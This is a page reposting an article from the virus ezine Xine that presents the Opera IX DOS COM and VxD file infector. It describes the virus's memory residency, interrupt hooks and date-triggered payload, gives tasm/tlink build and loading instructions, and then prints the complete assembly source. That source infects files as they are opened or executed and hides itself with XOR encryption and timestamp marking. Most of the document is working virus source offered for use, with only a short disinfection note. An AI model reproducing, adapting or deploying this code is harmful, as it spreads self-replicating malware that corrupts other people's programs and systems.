Copy Link
Add to Bookmark
Report

Xine - issue #5 - Phile 210

eZine's profile picture
Published in 
Xine
 · 6 months ago

 

Ú-----------------------------¿
| Xine - issue #5 - Phile 210 |
À-----------------------------Ù





Ú--------------------¿
| DOS16/VxD.Opera IX |
À--------------------Á------------------------------------------------------

This virus is a simple COM (including ENUNS) and VxD infector. I wrote it
to demonstrate VxD real-mode infection and then added COM support to make it
more effective.

Ú-------------------¿
| 1. Virus analysis |
À-------------------Ù

When the virus receives execution control, it makes its residency check,
goes resident (if necessary) using a generic way and activates the payload
if the current date matches the one of the payload. Then, it hooks interrupt
vectors, reloads the original code and transfers execution to it.

Ú----------------¿
| 1.1. Residency |
À----------------Ù

To go resident, the virus finds a suitable MCB/UMB, shrinks it to create a
new one and copies the virus code to the allocated space.

Ú----------------------¿
| 1.2. Interrupt hooks |
À----------------------Ù

The INT 21h hook, handles the infection of COM and VxD files, whereas the
INT 2Fh hook, handles the residency check and rehooks INT 21h.

Ú--------------¿
| 1.3. Payload |
À--------------Ù

The virus decrypts and displays the following string:

"Opera IX, Horned Beast/VADER"

Ú----------------------¿
| 1.4.1. File map: COM |
À----------------------Ù

Before infection After infection
Ú----------------------¿ Ú----------------------¿
| | | Virus code |
| COM data | Ã----------------------´
| | | |
| | | |
À----------------------Ù Ã----------------------´
| COM data |
Ã----------------------´
| ENUNS data |
À----------------------Ù

Ú----------------------¿
| 1.4.2. File map: VxD |
À----------------------Ù

Before infection After infection
Ú----------------------¿ Ú----------------------¿
| | | |
| VxD data | | VxD data |
| | | |
Ã----------------------´ Ã----------------------´
| Real-mode init proc | | Virus code |
| | Ã----------------------´
Ã----------------------´ Ã----------------------´
| VxD data | | VxD data |
À----------------------Ù Ã----------------------´
| Real-mode init proc |
Ã----------------------´
| ENUNS data |
À----------------------Ù

Ú-----------------------------¿
| 2. Assembling and compiling |
À-----------------------------Ù

Compile it to a COM file, using:
tasm opera9 /ml /m5
tlink opera9 /t

Ú------------¿
| 3. Loading |
À------------Ù

Execute the virus loader. The virus will then stay resident and infect any
accessed files.

Ú-----------------¿
| 4. Disinfection |
À-----------------Ù

Decrypt and copy Virus_Size bytes at position EOF-(Virus_Size+ENUNS_Size)
to the start of file (COM files) or to the start of the real-mode init proc
(VxD files), fixing the appropriate "OH_size" and "LE_eip" fields (if neces-
sary). Then, reduce the file size by (Virus_Size+ENUNS_Size) bytes.

-----------------------´ Start of file: OPERA9.ASM Ã------------------------
.Model Tiny
.Code
.386

include DOS.INC
include MZ.INC
include LE.INC

.Radix 16d
org (size PSP)

Virus_Size = Real_Mode_End-Real_Mode_Start
Virus_Resident_Size = Resident_End-Real_Mode_Start
Virus_Resident_PSize = (Virus_Resident_Size+15d)/16d
ENUNS_Size = Save_i24-ENUNS_Mark
Virus_Sign = 'HB' ;"Horned Beast"
Payload_Date = 719 ;Payload activation date
Min_Size = Virus_Size+100
Max_Size = -Min_Size

Real_Mode_Start:
push cs
push (size PSP)
Return_IP = $-2
pusha
mov bp,size PSP
Start_IP = $-2
mov ax,-1
mov bx,Virus_Sign
int 2fh ;Residency check
inc ax
jz Not_Resident
push bx ;Virus CS
push Reload_File-Real_Mode_Start
retf
Not_Resident:
push ds
mov ah,52
int 21 ;Get list of lists
xor cx,cx
mov ax,1600
int 2fh ;Windows enhanced mode installation check
test al,7fh
jnz Use_MCBs ;Windows running
lds si,dword ptr es:[bx+12] ;Pointer to disk buffer info record
mov dx,word ptr ds:[si+1fh] ;Segment of first UMB (or -1)
cmp dx,-1
je Use_MCBs
call Allocate_Block
or di,di
jnz Allocation_Done
Use_MCBs:
inc cx
mov dx,word ptr es:[bx-2] ;Segment of first MCB
call Allocate_Block
Allocation_Done:
pop ds
mov es,dx
mov si,bp
xor di,di
cld
mov cx,(Virus_Size+1)/2
rep movsw ;Copy virus code
push es
push Mem_Return-Real_Mode_Start
mov ah,4
int 1ah ;Get real-time clock date
jc No_Payload
cmp dx,Payload_Date
jne No_Payload
lea si,[bp+Virus_Name-Real_Mode_Start]
;Display virus name
Display_Next_Char:
lodsb
xor al,66
int 29 ;Fast console output
cmp al,0 ;Last char
jne Display_Next_Char
No_Payload:
retf

.Radix 10d
Virus_Name db 41,22,3,20,7,70,47,62,74,70,46,9,20,8,3,2,70,36,3,7
db 21,18,73,48,39,34,35,52,102
;Encrypted "Opera IX, Horned Beast/VADER",0
.Radix 16d

Mem_Return:
call Hook_i21_Vector
mov di,2fh*4
mov ax,Handler_i2f-Real_Mode_Start
mov si,Save_i2f-Real_Mode_Start
call Hook_Vector
Reload_File:
mov si,ds
or bp,bp
jnz Reload_COM
call Read_File
jmp Reload_Done
Reload_COM:
push ds
mov ds,word ptr ds:[PSP_Environment]
xor bx,bx
Seek_Name:
inc bx
cmp word ptr ds:[bx],1
jne Seek_Name
lea dx,[bx+2]
mov ax,3d00h
call Simulate_i21 ;Open current file (read mode)
call Read_File
mov ah,3eh
call Simulate_i21 ;Close current file
pop ds
Reload_Done:
popa
push ds
pop es
retf

;Interrupt vector handlers
Handler_i21:
pushf
cmp ax,3303
jne Check_Exec
cmp bx,Virus_Sign
jne Old_i21
;Indicate that Handler_i21 is working
xor ax,ax
popf
iret

Check_Open:
cmp ah,3dh
je Infect_File
cmp ah,56
je Infect_File
cmp ah,43
je Verify_AL
Old_i21:
popf
db 0eah ;Jmp XXXX:XXXX
Save_i21 dd 0

Check_Exec:
cmp ah,4bh
jne Check_Open
Verify_AL:
cmp al,1
ja Old_i21
Infect_File:
pushad
mov bx,dx
mov si,Buffer-Real_Mode_Start
;Canonicalize filename
Next_Char:
mov al,byte ptr ds:[bx]
cmp al,'a'
jb Skip_Char
cmp al,'z'
ja Skip_Char
sub al,'a'-'A'
Skip_Char:
mov byte ptr cs:[si],al
inc bx
inc si
cmp al,0
jne Next_Char
mov eax,dword ptr cs:[si-4] ;File extension
cmp eax,'MOC'
je Infect_COM
cmp eax,'DXV'
jne Pop_Exit
xor ax,ax
jmp Infect_Multi
Infect_COM:
mov ax,size PSP
mov word ptr cs:[Return_IP-Real_Mode_Start],ax
Infect_Multi:
mov word ptr cs:[Start_IP-Real_Mode_Start],ax
mov ax,4300
call Simulate_i21 ;Get file attributes
jc Pop_Exit
push cx dx ds
mov di,24*4
mov ax,Handler_i24-Real_Mode_Start
mov si,Save_i24-Real_Mode_Start
call Hook_Vector
test cl,not (mask FA_unused+mask FA_archive)
jz Open_File
mov ax,4301
xor cx,cx ;No attributes
call Simulate_i21 ;Set file attributes
jc Restore_Attrib
Open_File:
mov ax,3d02h
call Simulate_i21 ;Open the file (read/write mode)
jc Restore_Attrib
xchg bx,ax
mov ax,5700
call Simulate_i21 ;Get file's date and time
mov ax,cx
and al,mask FT_seconds2
cmp al,mask FT_seconds2
je Close_Restore_Attrib
push cx dx cs
pop ds
cmp byte ptr ds:[Start_IP-Real_Mode_Start+1],(size PSP) shr 8
jne Read_Driver
call Seek_End
or dx,dx
jnz Restore_Date
cmp ax,Min_Size
jb Restore_Date
cmp ax,Max_Size
ja Restore_Date
dec ax
dec ax
xchg dx,ax
call Seek_CX_DX
mov cx,2
mov dx,ENUNS_Magic-Real_Mode_Start
call Simulate_Read
add word ptr ds:[ENUNS_Magic-Real_Mode_Start],Virus_Size+ENUNS_Size
xor ax,ax
cwd
jmp Finish_Infection
Read_Driver:
mov cx,IMAGE_SIZEOF_DOS_HEADER
call Simulate_Read_CX ;Read MZ header
;Check for a valid VxD
mov si,dx ;DX=(Buffer-Real_Mode_Start)
cmp word ptr ds:[si.MZ_magic],IMAGE_DOS_SIGNATURE
jne Restore_Date
cmp word ptr ds:[si.MZ_lfarlc],IMAGE_SIZEOF_DOS_HEADER
jb Restore_Date
mov ebp,dword ptr ds:[si.MZ_lfanew]
mov edi,ebp
call Seek_EBP
mov cx,IMAGE_SIZEOF_VXD_HEADER
call Simulate_Read_CX ;Read LE header
cmp dword ptr ds:[si.LE_magic],(IMAGE_VXD_LEWO shl 24d)\
+(IMAGE_VXD_LEBO shl 16d)+IMAGE_VXD_SIGNATURE
jne Restore_Date
cmp word ptr ds:[si.LE_os],IMAGE_VXD_OS_DEV386
jne Restore_Date
cmp word ptr ds:[si.LE_cpu],IMAGE_VXD_CPU_386
jb Restore_Date
cmp word ptr ds:[si.LE_cpu],IMAGE_VXD_CPU_586
ja Restore_Date
add ebp,dword ptr ds:[si.LE_objtab]
call Seek_EBP
;Find real-mode object
Go_Next_Object:
mov cx,IMAGE_SIZEOF_OBJECT_HEADER
lea dx,[si+IMAGE_SIZEOF_VXD_HEADER]
call Simulate_Read ;Read one object table entry
cmp word ptr ds:[si+IMAGE_SIZEOF_VXD_HEADER\
.OH_flags],IMAGE_OBJ_READ+IMAGE_OBJ_EXEC+IMAGE_OBJ_ALIAS16
je Found_Real_Mode
movzx ecx,cx
add ebp,ecx
dec dword ptr ds:[si.LE_objcnt]
jnz Go_Next_Object
jmp Restore_Date
Found_Real_Mode:
mov cx,Virus_Size
mov ax,word ptr ds:[si+IMAGE_SIZEOF_VXD_HEADER.OH_mapsize]
mul word ptr ds:[si.LE_pagesize]
or dx,dx
jnz Size_OK
cmp ax,cx
jb Restore_Date
Size_OK:
cmp word ptr ds:[si+IMAGE_SIZEOF_VXD_HEADER.OH_size],cx
jae No_Size_Patch
dec dword ptr ds:[si.LE_objcnt]
jz Restore_Date ;Don't patch size if last object
mov word ptr ds:[si+IMAGE_SIZEOF_VXD_HEADER.OH_size],cx
call Seek_EBP
lea dx,[si+IMAGE_SIZEOF_VXD_HEADER.OH_size]
call Simulate_Write_DX ;Patch real-mode object size
No_Size_Patch:
mov ecx,dword ptr ds:[si.LE_startobj]
jecxz No_EIP_Patch
xor cx,cx
xchg cx,word ptr ds:[si.LE_eip]
jcxz No_EIP_Patch
push cx
lea ebp,[edi.LE_eip]
call Seek_EBP
lea dx,[si.LE_eip]
call Simulate_Write_DX ;Patch original real-mode init proc IP
pop cx
No_EIP_Patch:
mov word ptr ds:[Return_IP-Real_Mode_Start],cx
mov ax,word ptr ds:[si+IMAGE_SIZEOF_VXD_HEADER.OH_pagemap]
dec ax
mul word ptr ds:[si.LE_pagesize]
add ax,word ptr ds:[si.LE_datapage]
adc dx,word ptr ds:[si.LE_datapage+2]
Finish_Infection:
xchg dx,ax
xchg cx,ax
push cx dx
call Seek_CX_DX
mov cx,Virus_Size
call Simulate_Read_CX ;Read original code
push cx dx
call Seek_End
pop dx cx
call Crypt_Code ;Encrypt original code
call Simulate_Write ;Write original code
mov cx,ENUNS_Size
mov dx,ENUNS_Mark-Real_Mode_Start
call Simulate_Write ;Write ENUNS data
pop dx cx
call Seek_CX_DX
mov cx,Virus_Size
xor dx,dx
call Simulate_Write ;Write virus code
Restore_Date:
pop dx cx
or cl,mask FT_seconds2
mov ax,5701
call Simulate_i21 ;Set file's date and time
Close_Restore_Attrib:
mov ah,3eh
call Simulate_i21 ;Close the file
Restore_Attrib:
lds dx,dword ptr cs:[Save_i24-Real_Mode_Start]
mov ax,2524
call Simulate_i21 ;Set interrupt vector
pop ds dx cx
test cl,not (mask FA_unused+mask FA_archive)
jz Pop_Exit
mov ax,4301
call Simulate_i21 ;Set file attributes
Pop_Exit:
popad
jmp Old_i21

Handler_i2f:
pushf
cmp ax,-1
jne Check_Qualify
cmp bx,Virus_Sign
jne Old_i2f
inc ax
mov bx,cs
popf
iret

Check_Qualify:
cmp ax,1123 ;Qualify remote filename
jne Old_i2f
pusha
mov ax,3303
mov bx,Virus_Sign
int 21 ;Test the int 21h hook
or ax,ax
jz Return_i2f ;Hook is working
call Hook_i21_Vector
Return_i2f:
popa
Old_i2f:
popf
db 0eah ;Jmp XXXX:XXXX
Save_i2f dd 0

;Error handler
Handler_i24:
mov al,3
iret

;Routines

Simulate_Read_CX:
mov dx,Buffer-Real_Mode_Start
Simulate_Read:
mov ah,3fh
jmp Simulate_i21

Simulate_Write_DX:
mov cx,2
Simulate_Write:
mov ah,40
jmp Simulate_i21

Seek_EBP:
mov ecx,ebp
mov dx,cx
shr ecx,16d
Seek_CX_DX:
mov al,0
jmp Simulate_Seek
Seek_End:
mov al,2
Seek_AL:
xor cx,cx
xor dx,dx
Simulate_Seek:
mov ah,42

;Simulate an int 21h
Simulate_i21:
pushf
call dword ptr cs:[Save_i21-Real_Mode_Start]
retn

;Read the last accessed file at position EOF-(Virus_Size+ENUNS_Size) to the
;address at SI:BP, until position EOF-ENUNS_Size and decrypt the code
;Save and restore the file pointer
Read_File:
push ds es
mov ah,34
call Simulate_i21 ;Get address of "InDOS flag"
mov bx,word ptr es:[bx+28ch-1] ;File handle
mov al,1
call Seek_AL
push ax dx
call Seek_End
xchg dx,ax
xchg cx,ax
sub dx,Virus_Size+ENUNS_Size
sbb cx,ax
call Seek_CX_DX
mov cx,Virus_Size
mov dx,bp
mov ds,si
call Simulate_Read ;Read the code
call Crypt_Code ;Decrypt the code
pop cx dx
call Seek_CX_DX
pop es ds
retn

Hook_i21_Vector:
mov di,21*4
mov ax,Handler_i21-Real_Mode_Start
mov si,Save_i21-Real_Mode_Start

;Hook interrupt at 0:DI to CS:AX and save the original at CS:SI
Hook_Vector:
push ds 0
pop ds
xchg ax,word ptr ds:[di]
mov word ptr cs:[si],ax
mov ax,cs
xchg ax,word ptr ds:[di+2]
mov word ptr cs:[si+2],ax
pop ds
retn

;Encrypt/decrypt CX bytes at DS:DX
Crypt_Code:
pusha
mov bx,dx
Crypt_Loop:
xor byte ptr ds:[bx],cl
inc bx
loop Crypt_Loop
popa
retn

;Allocate a MCB/UMB for the virus
;þ On entry:
; CX=0: Shrink first usable block
; CX<>0: Shrink last block
; DX=Segment of first block in chain
;þ On exit:
; DI=0: No block allocated
; DX=DS=Segment of last block
; SI=Virus_Resident_PSize+((size MCB) shr 4)
; DI=(size MCB): Block allocated
; AX=0
; DX=Pointer to new segment
; SI=8
; DS=Segment of previous block
Allocate_Block:
push es
mov si,Virus_Resident_PSize+((size MCB) shr 4)
;(size MCB) shifted right by "log2 16"
xor di,di
Check_Next_Block:
mov ds,dx
or cx,cx
jnz Check_Last_Block
cmp word ptr ds:[di.MCB_ProcessID],di
jne Check_Last_Block ;Block is not free
cmp word ptr ds:[di.MCB_BlockSize],si
jae Found_Good_Block
Check_Last_Block:
cmp byte ptr ds:[di.MCB_BlockType],LAST_MCB
je Found_Last_Block
stc
adc dx,word ptr ds:[di.MCB_BlockSize] ;Point to next block
jmp Check_Next_Block
Found_Last_Block:
jcxz Fail_Allocation
Found_Good_Block:
sub word ptr ds:[di.MCB_BlockSize],si
inc dx ;Same as: add dx,(size MCB) shr 4
cmp word ptr ds:[di.MCB_ProcessID],dx
jne No_PSP_Fix
sub word ptr ds:[di+(size MCB).PSP_TopOfMem],si
No_PSP_Fix:
add dx,word ptr ds:[di.MCB_BlockSize] ;Point to new space
mov es,dx
mov al,CHAINED_MCB
xchg al,byte ptr ds:[di.MCB_BlockType]
cld
;Build new block
stosb
mov ax,8
stosw ;Set owner as DOS
xchg si,ax
dec ax ;Same as: sub ax,(size MCB) shr 4
stosw ;Set the new size
add di,3 ;Skip unused data
mov ax,'CS' ;"System Code", for UMBs
stosw
xor ax,ax
stosw
stosw
stosw
inc dx
Fail_Allocation:
pop es
retn

;ENUNS data
ENUNS_Mark db "ENUNS"

Real_Mode_End:

ENUNS_Magic dw 0
Save_i24 dd 0
Buffer db (Real_Mode_End-Real_Mode_Start) dup (0)

Resident_End:

.Radix 10d
Host db 65,184,62,211
;Encrypted:
;mov ah,4ch
;int 21
.Radix 16d

Padding db ((Real_Mode_End-Real_Mode_Start)\
+(Save_i24-ENUNS_Mark)-($-Host)) dup (0)

end Real_Mode_Start
------------------------´ End of file: OPERA9.ASM Ã-------------------------

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT